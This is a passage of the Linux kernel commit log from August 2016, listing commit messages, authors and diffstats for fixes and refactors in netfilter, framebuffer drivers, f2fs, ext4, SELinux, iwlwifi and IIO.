Dumazet Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_conntrack_ecache.h | 17 ++++++++++++----- net/netfilter/nf_conntrack_ecache.c | 22 ++++++++++++++-------- 2 files changed, 26 insertions(+), 13 deletions(-) commit 95a8d19f28e6b29377a880c6264391a62e07fccc Author: Florian Westphal Date: Thu Aug 25 15:33:29 2016 +0200 netfilter: restart search if moved to other chain In case nf_conntrack_tuple_taken did not find a conflicting entry check that all entries in this hash slot were tested and restart in case an entry was moved to another chain. Reported-by: Eric Dumazet Fixes: ea781f197d6a ("netfilter: nf_conntrack: use SLAB_DESTROY_BY_RCU and get rid of call_rcu()") Signed-off-by: Florian Westphal Acked-by: Eric Dumazet Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_core.c | 7 +++++++ 1 file changed, 7 insertions(+) commit ee65e18206f5b430d71c39f72fa85a8d1f2b999d Author: Dan Carpenter Date: Fri Jul 15 14:08:17 2016 +0300 fb: adv7393: off by one in probe function This should be >= instead of >. It's a little bit clearer if we just get rid of the temporary variable and just use ARRAY_SIZE() directly. Signed-off-by: Dan Carpenter Signed-off-by: Tomi Valkeinen drivers/video/fbdev/bfin_adv7393fb.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit d4b9efa3b9aa7d4c0e946ecb634154132402158f Author: Wei Yongjun Date: Sat Aug 13 08:57:23 2016 +0000 video: fbdev: pxafb: add missing of_node_put() in of_get_pxafb_mode_info() This node pointer is returned by of_graph_get_next_endpoint() with refcount incremented in this function. of_node_put() on it before exitting this function. Found by Coccinelle. Signed-off-by: Wei Yongjun Acked-by: Robert Jarzmik Signed-off-by: Tomi Valkeinen drivers/video/fbdev/pxafb.c | 1 + 1 file changed, 1 insertion(+) commit 43715c9e01eb43050984352f27cae2a65b635f03 Author: Arnd Bergmann Date: Fri Aug 26 17:32:33 2016 +0200 video: fbdev: mb862xx: remove unused variable A cleanup patch that removed some code left behind an unused variable: drivers/video/fbdev/mb862xx/mb862xx-i2c.c: In function 'mb862xx_i2c_init': drivers/video/fbdev/mb862xx/mb862xx-i2c.c:160:6: error: unused variable 'ret' [-Werror=unused-variable] This removes that variable as well. Signed-off-by: Arnd Bergmann Fixes: 6b610e004baf ("video: fbdev: mb862xx: mb862xx-i2c: don't print error when adding adapter fails") Acked-by: Wolfram Sang Signed-off-by: Tomi Valkeinen drivers/video/fbdev/mb862xx/mb862xx-i2c.c | 2 -- 1 file changed, 2 deletions(-) commit 03577d6a0beff2aded55d4ae40d1058905233536 Author: Marek Vasut Date: Fri Aug 26 17:53:35 2016 +0200 video: mxsfb: Fix framebuffer corruption on mx6sx Allocate the framebuffer memory as coherent, otherwise the framebuffer will suffer from artifacts when displaying scrolling text or video. This can be replicated on i.MX6SX (armv7), which has more complex memory architecture compared to the i.MX23/28 (armv5). Signed-off-by: Marek Vasut Cc: Tomi Valkeinen Cc: Fabio Estevam Cc: Lucas Stach Cc: Shawn Guo Signed-off-by: Tomi Valkeinen drivers/video/fbdev/mxsfb.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit b86acbefa3814565b71ec9661329f7def0cc10f2 Author: Oleg Drokin Date: Fri Aug 26 23:05:37 2016 -0400 mx3fb: Fix print format string %ul was probably meant as %lu since the former would print an unsigned value and a letter l. But in fact the whole value we are printing in u32 anyway, so we don't need the format to be long. Therefore just drop the l altogether. Signed-off-by: Oleg Drokin Signed-off-by: Tomi Valkeinen drivers/video/fbdev/mx3fb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ffe439d644d387c460f2e0a8e80d3ff8a05ee532 Author: Arnd Bergmann Date: Fri Aug 26 17:34:29 2016 +0200 video: ARM CLCD: export symbols for driver module The amba-clcd-versatile.c code is always built-in and has to be done that way because it gets called by platform code that is also built-in. However, it now also gets called from the core CLCD driver through the .init_panel callback function, which leads to a build error when the framebuffer is configured as a loadable module: ERROR: "versatile_clcd_init_panel" [drivers/video/fbdev/amba-clcd-mod.ko] undefined! The same thing happens for the nomadik driver, although that could be linked into the core module if we want to: ERROR: "nomadik_clcd_init_panel" [drivers/video/fbdev/amba-clcd.ko] undefined! ERROR: "nomadik_clcd_init_board" [drivers/video/fbdev/amba-clcd.ko] undefined! For consistency, I'm taking the same approach in both cases here and just export the functions to make them usable by the driver. Alternatively, we could split out the CONFIG_OF-code from amba-clcd-versatile.c into a new file and link those two together with the core driver as one module. Signed-off-by: Arnd Bergmann Fixes: 1d3f0cbe0d3a ("video: ARM CLCD: add special board and panel hooks for Nomadik") Fixes: 25348160e9a4 ("video: ARM CLCD: add special panel hook for Versatiles") Reviewed-by: Linus Walleij Signed-off-by: Tomi Valkeinen drivers/video/fbdev/amba-clcd-nomadik.c | 2 ++ drivers/video/fbdev/amba-clcd-versatile.c | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) commit 9986908d38736ad6fde46c9b8f651d6c82da07b9 Author: Linus Walleij Date: Mon Aug 29 11:29:31 2016 +0200 video: ARM CLCD: fix up Integrator support We need to mask all registers of the Integrator/CP core module control register, and actually write the calculated value to the control register, not the mask. Tested on the Integrator/CP with RGB5551 VGA and works like a charm after this patch. Signed-off-by: Linus Walleij Signed-off-by: Tomi Valkeinen drivers/video/fbdev/amba-clcd-versatile.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit 763e6366f3700e2f34a94e71bfec67dea7e37b68 Author: Wei Yongjun Date: Sat Aug 13 01:26:26 2016 +0000 video: ARM CLCD: fix return value check in versatile_clcd_init_panel() In case of error, the function syscon_node_to_regmap() returns ERR_PTR() and never returns NULL. The NULL test in the return value check should be replaced with IS_ERR(). Fixes: 25348160e9a4 ("video: ARM CLCD: add special panel hook for Versatiles") Signed-off-by: Wei Yongjun Reviewed-by: Linus Walleij Signed-off-by: Tomi Valkeinen drivers/video/fbdev/amba-clcd-versatile.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1121a418b2083038e9981ab9e2401db9fb8fdd7e Author: Arnd Bergmann Date: Fri Aug 26 17:25:43 2016 +0200 video: ARM CLCD: fix endpoint lookup logic The addition of the Nomadik support in this driver introduced a bug in clcdfb_of_init_display(), which now calls init_panel with an uninitialized 'endpoint' pointer, as "gcc -Wmaybe-uninitialized" warns: drivers/video/fbdev/amba-clcd.c: In function 'clcdfb_of_init_display': drivers/video/fbdev/amba-clcd.c:785:5: error: 'endpoint' may be used uninitialized in this function [-Werror=maybe-uninitialized] This reverts the broken part of the function to what it was before the patch, which is the best guess I have to what it should be. I assume this was left over from an attempted rework of the code that was partially backed out. Signed-off-by: Arnd Bergmann Fixes: 046ad6cdeb3f ("video: ARM CLCD: support Nomadik variant") Cc: Linus Walleij Reviewed-by: Linus Walleij Reported-by: Colin Ian King Signed-off-by: Tomi Valkeinen drivers/video/fbdev/amba-clcd.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit 0ae084195b64e9a99fd0ef65b006b74ca2addefe Author: Philipp Zabel Date: Tue Aug 9 09:28:44 2016 +0200 reset: sunxi: add driver Kconfig option Visible only if COMPILE_TEST is enabled, this allows to include the driver in build tests. Reviewed-by: Masahiro Yamada Signed-off-by: Philipp Zabel drivers/reset/Kconfig | 6 ++++++ drivers/reset/Makefile | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) commit 7e0e901d41406861810aa631d0dca22ac8c6dc41 Author: Philipp Zabel Date: Thu Jul 28 15:34:15 2016 +0200 reset: stm32: add driver Kconfig option Visible only if COMPILE_TEST is enabled, this allows to include the driver in build tests. Cc: Maxime Coquelin Cc: Gabriel Fernandez Reviewed-by: Masahiro Yamada Signed-off-by: Philipp Zabel drivers/reset/Kconfig | 6 ++++++ drivers/reset/Makefile | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) commit 5c91407ed3d19704016a6a70ccbeb5c1914615bc Author: Philipp Zabel Date: Thu Jul 28 15:33:43 2016 +0200 reset: socfpga: add driver Kconfig option Visible only if COMPILE_TEST is enabled, this allows to include the driver in build tests. Acked-by: Dinh Nguyen Reviewed-by: Masahiro Yamada Signed-off-by: Philipp Zabel drivers/reset/Kconfig | 6 ++++++ drivers/reset/Makefile | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) commit fab3f73098bbccd0ca433896e860974992bbe877 Author: Philipp Zabel Date: Thu Jul 28 15:33:07 2016 +0200 reset: pistachio: add driver Kconfig option Visible only if COMPILE_TEST is enabled, this allows to include the driver in build tests. Cc: Damien Horsley Acked-by: James Hartley Reviewed-by: Masahiro Yamada Signed-off-by: Philipp Zabel drivers/reset/Kconfig | 6 ++++++ drivers/reset/Makefile | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) commit 3201a39ba8d7edaa1698c438fdd8f1464290d033 Merge: 6abdd5f 325782a1 Author: David S. Miller Date: Tue Aug 30 01:52:09 2016 -0400 Merge branch '100GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/jkirsher/next-queue Jeff Kirsher says: ==================== 100GbE Intel Wired LAN Driver Updates 2016-08-29 This series contains updates to fm10k only. Jake provides all the changes in this series starting with fixes an issue where VF devices may fail during an unbind/bind and we will never zero the reference counter for the pci_dev structure. Updated the hot path to use SW counters instead of checking for hardware Tx pending for possible transmit hangs, which will improve performance. Fixed the NAPI budget accounting so that fm10k_poll will return actual work done, capped at (budget - 1) instead of returning 0. Added a check to ensure that the device is in the normal IO state before continuing to probe, which allows us to give a more descriptive message of what is wrong in the case of uncorrectable AER error. In preparation for adding Geneve Rx offload support, refactored the current VXLAN offload flow to be a bit more generic. Added support for receive offloads on one Geneve tunnel. Ensure that other bits in the RXQCTL register do not get cleared, to make sure that bits related to queue ownership are maintained. Fixed an issue in queue ownership assignment which casued a race condition between the PF and the VF such that potentially a VF could cause FUM fault errors due to normal PF/VF driver behavior. ==================== Signed-off-by: David S. Miller commit 6abdd5f5935fff978f950561f3c5175eb34dad73 Merge: 0b498a5 e4e98c4 Author: David S. Miller Date: Tue Aug 30 00:54:02 2016 -0400 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net All three conflicts were cases of simple overlapping changes. Signed-off-by: David S. Miller commit 9a58485ebc92ff8d66428f9eadae2a2e47f3ee9c Author: Masahiro Yamada Date: Mon Aug 29 03:27:42 2016 +0900 ARM: dts: uniphier: remove a whitespace after tabs A trivial codying style fix. Signed-off-by: Masahiro Yamada arch/arm/boot/dts/uniphier-common32.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 694641616448a9c5b30b3a5e5f51da73cb3a0016 Author: Vignesh R Date: Thu Aug 25 09:46:41 2016 -0700 Input: add generic input driver to read encoded GPIO lines Add a driver to read group of GPIO lines and provide its status as a numerical value as input event to the system. This will help in interfacing devices, that can be connected over GPIOs, that provide input to the system by driving GPIO lines connected to them like a rotary dial or a switch. For example, a rotary switch can be connected to four GPIO lines. The status of the GPIO lines reflect the actual position of the rotary switch dial. For example, if dial points to 9, then the four GPIO lines connected to the switch will read HLLH(0b'1001 = 9). This value can be reported as an ABS_* event to the input subsystem. Signed-off-by: Vignesh R Acked-by: Rob Herring Signed-off-by: Dmitry Torokhov .../devicetree/bindings/input/gpio-decoder.txt | 23 ++++ drivers/input/misc/Kconfig | 12 ++ drivers/input/misc/Makefile | 1 + drivers/input/misc/gpio_decoder.c | 137 +++++++++++++++++++++ 4 files changed, 173 insertions(+) commit 680772647d96ed853d20f837a2726151f24d8b20 Author: Alexandre Belloni Date: Mon Aug 29 19:57:06 2016 -0700 Input: add ADC resistor ladder driver A common way of multiplexing buttons on a single input in cheap devices is to use a resistor ladder on an ADC. This driver supports that configuration by polling an ADC channel provided by IIO. Acked-by: Jonathan Cameron Signed-off-by: Alexandre Belloni Acked-by: Rob Herring Signed-off-by: Dmitry Torokhov .../devicetree/bindings/input/adc-keys.txt | 49 +++++ drivers/input/keyboard/Kconfig | 15 ++ drivers/input/keyboard/Makefile | 1 + drivers/input/keyboard/adc-keys.c | 210 +++++++++++++++++++++ 4 files changed, 275 insertions(+) commit 97c1794a5dc160164aa7f161310da15c34d62641 Author: Chao Yu Date: Mon May 9 19:56:34 2016 +0800 f2fs: enable inline_dentry by default and add noinline_dentry option Make inline_dentry as default mount option to improve space usage and IO performance in scenario of numerous small directory. It adds noinline_dentry mount option, instead. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Documentation/filesystems/f2fs.txt | 1 + fs/f2fs/super.c | 8 ++++++++ 2 files changed, 9 insertions(+) commit 5d2b42ede71c9da0bf4248fd2d409918fb065b5f Author: Shuoran Liu Date: Thu Aug 25 20:42:09 2016 +0800 f2fs: fix a bug when using namehash to locate dentry bucket In the following scenario, 1) we don't have the key and doing a lookup for encrypted file, 2) and the encrypted filename is big name we should use fname->hash as name hash value instead of what is calculated by fname->disk_name. Because in such case, fname->disk_name is empty. Signed-off-by: Shuoran Liu Acked-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/dir.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit dfd02e4de1c5f40c268984254045d388ab0c3e74 Author: Chao Yu Date: Sat Aug 20 15:12:01 2016 +0800 f2fs: fix to preallocate block only aligned to 4K In write_begin(), we skip checking dnode block for preallocating block when whole block needs to be updated since we preallocated its block in f2fs_preallocate_blocks, for partial updated block, we will still try to lock its node and do preallocation in write_begin(), so in f2fs_preallocate_blocks we should not preallocate its block. But previously, the calculation of preallocating block number is incorrect, fix it. Signed-off-by: Chao Yu [Jaegeuk Kim: fix a bug] Signed-off-by: Jaegeuk Kim fs/f2fs/data.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit 6a7a3aedd562838fd402cccb5ad07b8063a3582e Author: Wei Yongjun Date: Tue Aug 23 15:23:59 2016 +0000 f2fs: fix non static symbol warning Fixes the following sparse warning: fs/f2fs/data.c:969:12: warning: symbol 'f2fs_grab_bio' was not declared. Should it be static? Signed-off-by: Wei Yongjun Acked-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/data.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 69494229ba5ada1b5521e3111328e8fe585c78d7 Author: Sheng Yong Date: Tue Aug 23 20:10:47 2016 +0800 f2fs: remove unnecessary initialization `flags' is used to save value from userspace, there is no need to initialize it, and FS_FL_USER_VISIBLE is the mask for getflags. Signed-off-by: Sheng Yong Acked-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/file.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5f8eaf1f9b99df1f51988205e27634a22f497eb7 Author: Chao Yu Date: Sun Aug 21 23:21:31 2016 +0800 f2fs: remove redundant judgement condition in available_free_memory In available_free_memory, there are two same judgement conditions which is used for checking NAT excess, remove one of them. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/node.c | 2 -- 1 file changed, 2 deletions(-) commit e932835377f95c91789c8572a5aaaa9daad5d262 Author: Chao Yu Date: Sun Aug 21 23:21:29 2016 +0800 f2fs: check return value of write_checkpoint during fstrim During fstrim, if one of multiple write_checkpoint failed, break off and return error number to caller. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/segment.c | 2 ++ 1 file changed, 2 insertions(+) commit 58383befc3377b4e2305b98f91e445af73ba8d62 Author: Chao Yu Date: Sat Aug 20 15:12:02 2016 +0800 f2fs: fix to do f2fs_balance_fs in f2fs_map_blocks correctly If we preallocate blocks with f2fs_reserve_blocks in f2fs_map_blocks, we should call f2fs_balance_fs for checking and reclaiming space, fix it. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/data.c | 1 + 1 file changed, 1 insertion(+) commit d600af236da51d9e3b90d21a23f95b820bd02e2f Author: Chao Yu Date: Fri Aug 19 23:13:47 2016 +0800 f2fs: avoid unneeded loop in build_sit_entries When building each sit entry in cache, firstly, we will load it from sit page, and then check all entries in sit journal, if there is one updated entry in journal, cover cached entry with the journaled one. Actually, most of check operation is unneeded since we only need to update cached entries with journaled entries in batch, so changing the flow as below for more efficient: 1. load all sit entries into cache from sit pages; 2. update sit entries with journal. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/segment.c | 48 ++++++++++++++++++++++++++++++++---------------- 1 file changed, 32 insertions(+), 16 deletions(-) commit 43ced84ec8a7cb1b2e56dd1e262a0c63db79c3c1 Author: Chao Yu Date: Fri Aug 19 23:13:46 2016 +0800 f2fs: clean up foreground GC flow This patch changes to check valid block number of one GCed section directly instead of checking the number in all segments of section one by one in order to clean up codes of foreground GC. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/gc.c | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) commit 7c4abcbeccdd286e7d71b3e8f9fefad84112e54c Author: Chao Yu Date: Thu Aug 18 17:46:14 2016 +0800 f2fs: set dirty state for filesystem only when updating meta data We don't guarantee integrity of user data after checkpoint, since we only guarantee meta data integrity for data consistency of filesystem. Due to above reason, we only need to set fs as dirty when meta data is updated, so that we can skip writing checkpoint in some case of non-meta data is updated. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/f2fs.h | 4 ++++ 1 file changed, 4 insertions(+) commit 58cce381fa4e8cfbe7ce005a6a858267a3b481f2 Author: Yunlei He Date: Thu Aug 18 21:01:19 2016 +0800 f2fs: skip new checkpoint when doing fstrim without fs change This patch enables to do fstrim without checkpoint, if there is no fs change. Signed-off-by: Yunlei He Signed-off-by: Jaegeuk Kim fs/f2fs/checkpoint.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit f83a2584cae8f4deacb4c82da0b061813d59a40c Author: Yunlei He Date: Thu Aug 18 21:01:18 2016 +0800 f2fs: add discard info to sys entry of f2fs status This patch add discard block count to sys entry of f2fs status Signed-off-by: Yunlei He Signed-off-by: Jaegeuk Kim fs/f2fs/debug.c | 10 ++++++++-- fs/f2fs/f2fs.h | 7 ++++++- 2 files changed, 14 insertions(+), 3 deletions(-) commit 2d9e9c32a04edef5482e53d15535b77aa7e595cd Author: Jaegeuk Kim Date: Thu Aug 11 10:18:38 2016 +0800 f2fs: reduce batch size of fstrim This is to reduce the batch size of fstrim to avoid long latency. Signed-off-by: Jaegeuk Kim fs/f2fs/f2fs.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 61f800debf68388e5947009b39f3b4132aace8dc Merge: fa62e10 dc7066c Author: Stephen Boyd Date: Mon Aug 29 17:09:43 2016 -0700 Merge branch 'clk-fixes' into clk-next * clk-fixes: clk: rockchip: mark aclk_emmc_noc as a critical clock on rk3399 clk: rockchip: fix incorrect GATE bits for {c, g}pll_aclk_perihp_src on rk3399 clk: rockchip: fix incorrect aclk_emmc source gate bits on rk3399 clk: rockchip: fix rk3399 aclk_vio gate bit commit 3bc7bcf69bbe763359454b2c40efcba22730e181 Author: William Roberts Date: Tue Aug 23 13:49:24 2016 -0700 selinux: initialize structures libsepol pointed out an issue where its possible to have an unitialized jmp and invalid dereference, fix this. While we're here, zero allocate all the *_val_to_struct structures. Signed-off-by: William Roberts Signed-off-by: Paul Moore security/selinux/ss/policydb.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 74d977b65e45bc9b536b429e7f3b5e3a8e459026 Author: William Roberts Date: Tue Aug 23 13:49:23 2016 -0700 selinux: detect invalid ebitmap When count is 0 and the highbit is not zero, the ebitmap is not valid and the internal node is not allocated. This causes issues when routines, like mls_context_isvalid() attempt to use the ebitmap_for_each_bit() and ebitmap_node_get_bit() as they assume a highbit > 0 will have a node allocated. Signed-off-by: William Roberts Signed-off-by: Paul Moore security/selinux/ss/ebitmap.c | 3 +++ 1 file changed, 3 insertions(+) commit ba9c8dd3c22275e46feef429f343b85e9cf3924c Author: Dan Williams Date: Mon Aug 22 19:28:37 2016 -0700 acpi, nfit: add dimm device notification support Per "ACPI 6.1 Section 9.20.3" NVDIMM devices, children of the ACPI0012 NVDIMM Root device, can receive health event notifications. Given that these devices are precluded from registering a notification handler via acpi_driver.acpi_device_ops (due to no _HID), we use acpi_install_notify_handler() directly. The registered handler, acpi_nvdimm_notify(), triggers a poll(2) event on the nmemX/nfit/flags sysfs attribute when a health event notification is received. Cc: Rafael J. Wysocki Tested-by: Toshi Kani Reviewed-by: Vishal Verma Acked-by: Rafael J. Wysocki Reviewed-by: Toshi Kani Signed-off-by: Dan Williams drivers/acpi/nfit/core.c | 95 ++++++++++++++++++++++++++++++++++++++++++++-- drivers/acpi/nfit/nfit.h | 5 +++ drivers/nvdimm/dimm_devs.c | 6 +++ include/linux/libnvdimm.h | 1 + 4 files changed, 103 insertions(+), 4 deletions(-) commit 7cfcd8b79ab2472102d9229863e86ff208f959d4 Author: Quorum Laval Date: Fri Aug 26 15:40:40 2016 +0100 jfs: jump to error_out when filemap_{fdatawait, write_and_wait} fails filemap_fdatawait/filemap_write_and_wait may fail, so check the return value and jump to error_out in the case of error. Signed-off-by: Quorum Laval Signed-off-by: Dave Kleikamp fs/jfs/resize.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 547868f5bc5c7e41ea18c2e5fe5947f13e6199b2 Author: Adam Ford Date: Sat Aug 27 21:19:25 2016 -0500 ARM: dts: Add LogicPD DM37/AM37 Torpedo and SOM-LV Support is in the device tree, but they are not mentioned here. Signed-off-by: Adam Ford Signed-off-by: Tony Lindgren Documentation/devicetree/bindings/arm/omap/omap.txt | 6 ++++++ 1 file changed, 6 insertions(+) commit d975d72016bb2540eff3018c3c0dd96688711748 Author: Sara Sharon Date: Mon Jul 4 11:52:07 2016 +0300 iwlwifi: mvm: support new paging command format For a000 devices there is a support of 64 bit DMA addressing. The paging command was changed accordingly - support it. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/fw-api.h | 8 +++++-- drivers/net/wireless/intel/iwlwifi/mvm/fw.c | 28 ++++++++++++++++++------- drivers/net/wireless/intel/iwlwifi/mvm/mvm.h | 6 ++++++ 3 files changed, 32 insertions(+), 10 deletions(-) commit 8e160ab83a32a16cd45d82778aca1ec3e51b802b Author: Ayala Beker Date: Mon Apr 11 11:37:38 2016 +0300 iwlwifi: mvm: support GMAC protocol Add support for installing and removing GMAC key for newer FW versions that support GCM and MFP. GMAC provides authentication and integrity for multicast management frames. Firmware API was changed, update the driver accordingly. Signed-off-by: Ayala Beker Signed-off-by: Luca Coelho .../net/wireless/intel/iwlwifi/mvm/fw-api-sta.h | 31 ++++++++++++---- drivers/net/wireless/intel/iwlwifi/mvm/mac80211.c | 18 ++++++++-- drivers/net/wireless/intel/iwlwifi/mvm/mvm.h | 2 +- drivers/net/wireless/intel/iwlwifi/mvm/sta.c | 42 ++++++++++++++++++---- 4 files changed, 76 insertions(+), 17 deletions(-) commit f1ae02b186d9b37ee621c7e922ecf5db96f5fb5c Author: Sara Sharon Date: Sun Mar 6 15:08:55 2016 +0200 iwlwifi: mvm: allow same PN for de-aggregated AMSDU The 9000 hardware will de-aggregate AMSDUs. In the process it will copy the mac header "as is" to the new MPDUs. This means driver should allow the same PN for MPDUs originated from the same AMSDU. Do that by incrementing the PN only for the last MPDU in the sequence. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/rxmq.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 14fbd4aa613bd5110556c281799ce36dc6f3ba97 Author: Eric Whitney Date: Mon Aug 29 15:45:11 2016 -0400 ext4: enforce online defrag restriction for encrypted files Online defragging of encrypted files is not currently implemented. However, the move extent ioctl can still return successfully when called. For example, this occurs when xfstest ext4/020 is run on an encrypted file system, resulting in a corrupted test file and a corresponding test failure. Until the proper functionality is implemented, fail the move extent ioctl if either the original or donor file is encrypted. Cc: stable@vger.kernel.org Signed-off-by: Eric Whitney Signed-off-by: Theodore Ts'o fs/ext4/move_extent.c | 7 +++++++ 1 file changed, 7 insertions(+) commit dfa2064b222c901b05c19ec5b7f42a25f7bee0e3 Author: Jan Kara Date: Mon Aug 29 15:44:11 2016 -0400 ext4: factor out loop for freeing inode xattr space Move loop to make enough space in the inode from ext4_expand_extra_isize_ea() into a separate function to make that function smaller and better readable and also to avoid delaration of variables inside a loop block. Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o fs/ext4/xattr.c | 121 ++++++++++++++++++++++++++++++++------------------------ 1 file changed, 69 insertions(+), 52 deletions(-) commit 6e0cd088c01023c02b1e887e02c8b6f3f395344f Author: Jan Kara Date: Mon Aug 29 15:43:11 2016 -0400 ext4: remove (almost) unused variables from ext4_expand_extra_isize_ea() 'start' variable is completely unused in ext4_expand_extra_isize_ea(). Variable 'first' is used only once in one place. So just remove them. Variables 'entry' and 'last' are only really used later in the function inside a loop. Move their declarations there. Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o fs/ext4/xattr.c | 20 ++++++++------------ 1 file changed, 8 insertions(+), 12 deletions(-) commit 3f2571c1f91f2de729562344b4956786a2c74d73 Author: Jan Kara Date: Mon Aug 29 15:42:11 2016 -0400 ext4: factor out xattr moving Factor out function for moving xattrs from inode into external xattr block from ext4_expand_extra_isize_ea(). That function is already quite long and factoring out this rather standalone functionality helps readability. Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o fs/ext4/xattr.c | 159 ++++++++++++++++++++++++++++++-------------------------- 1 file changed, 85 insertions(+), 74 deletions(-) commit 94405713889d4a9d341b4ad92956e4e2ec8ec2c2 Author: Jan Kara Date: Mon Aug 29 15:41:11 2016 -0400 ext4: replace bogus assertion in ext4_xattr_shift_entries() We were checking whether computed offsets do not exceed end of block in ext4_xattr_shift_entries(). However this does not make sense since we always only decrease offsets. So replace that assertion with a check whether we really decrease xattrs value offsets. Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o fs/ext4/xattr.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 1cba423707b47886391c7fcb3614fc67394be06e Author: Jan Kara Date: Mon Aug 29 15:40:11 2016 -0400 ext4: remove checks for e_value_block Currently we don't support xattrs with e_value_block set. We don't allow them to pass initial xattr check so there's no point for checking for this later. Since these tests were untested, bugs were creeping in and not all places which should have checked were checking e_value_block anyway. Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o fs/ext4/xattr.c | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) commit 2de58f1102cf1ac6091209e1dfa8eccbcb039570 Author: Jan Kara Date: Mon Aug 29 15:39:11 2016 -0400 ext4: Check that external xattr value block is zero Currently we don't support xattrs with values stored out of line. Check for that in ext4_xattr_check_names() to make sure we never work with such xattrs since not all the code counts with that resulting is possible weird corruption issues. Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o fs/ext4/xattr.c | 2 ++ 1 file changed, 2 insertions(+) commit e3014d14a81edde488d9a6758eea8afc41752d2d Author: Jan Kara Date: Mon Aug 29 15:38:11 2016 -0400 ext4: fixup free space calculations when expanding inodes Conditions checking whether there is enough free space in an xattr block and when xattr is large enough to make enough space in the inode forgot to account for the fact that inode need not be completely filled up with xattrs. Thus we could move unnecessarily many xattrs out of inode or even falsely claim there is not enough space to expand the inode. We also forgot to update the amount of free space in xattr block when moving more xattrs and thus could decide to move too big xattr resulting in unexpected failure. Fix these problems by properly updating free space in the inode and xattr block as we move xattrs. To simplify the math, avoid shifting xattrs after removing each one xattr and instead just shift xattrs only once there is enough free space in the inode. Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o fs/ext4/xattr.c | 58 ++++++++++++++++++++++++--------------------------------- 1 file changed, 24 insertions(+), 34 deletions(-) commit 6edf27ee25892571d275e2b3945d1b48c68d0476 Author: Neil Armstrong Date: Sat Aug 20 11:54:22 2016 +0200 media: rc: meson-ir: Add support for newer versions of the IR decoder Newer SoCs (Meson 8b and GXBB) are using REG2 (offset 0x20) instead of REG1 to configure the decoder mode. This makes it necessary to introduce new bindings so the driver knows which register has to be used. Signed-off-by: Neil Armstrong Signed-off-by: Martin Blumenstingl Tested-by: Neil Armstrong Acked-by: Mauro Carvalho Chehab Signed-off-by: Kevin Hilman drivers/media/rc/meson-ir.c | 29 ++++++++++++++++++++++++----- 1 file changed, 24 insertions(+), 5 deletions(-) commit 2d6d840a5a93c9493554d36cacabac797b441972 Author: Vlad Dogaru Date: Mon Aug 29 13:31:13 2016 +0300 mailmap: update Vlad Dogaru email address Replace my previous employer address. Signed-off-by: Vlad Dogaru Signed-off-by: Jonathan Cameron .mailmap | 1 + 1 file changed, 1 insertion(+) commit a565a03faff90b634bf523f104389b540cfcb226 Author: Baoyou Xie Date: Sat Aug 27 14:26:30 2016 +0800 fix:iio:common:st_sensors:st_sensors_trigger:mark symbols static where possible We get 2 warnings when biuld kernel with W=1: drivers/iio/common/st_sensors/st_sensors_trigger.c:69:13: warning: no previous prototype for 'st_sensors_irq_handler' [-Wmissing-prototypes] drivers/iio/common/st_sensors/st_sensors_trigger.c:85:13: warning: no previous prototype for 'st_sensors_irq_thread' [-Wmissing-prototypes] In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Reviewed-by: Linus Walleij Signed-off-by: Jonathan Cameron drivers/iio/common/st_sensors/st_sensors_trigger.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 96303e20270af6e7ac9d7d98b9c68e3288d4b6ba Author: Wei Yongjun Date: Fri Aug 26 14:32:29 2016 +0000 iio: magn: ak8974: remove .owner field for driver Remove .owner field if calls are used which set it automatically. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Wei Yongjun Acked-by: Linus Walleij Signed-off-by: 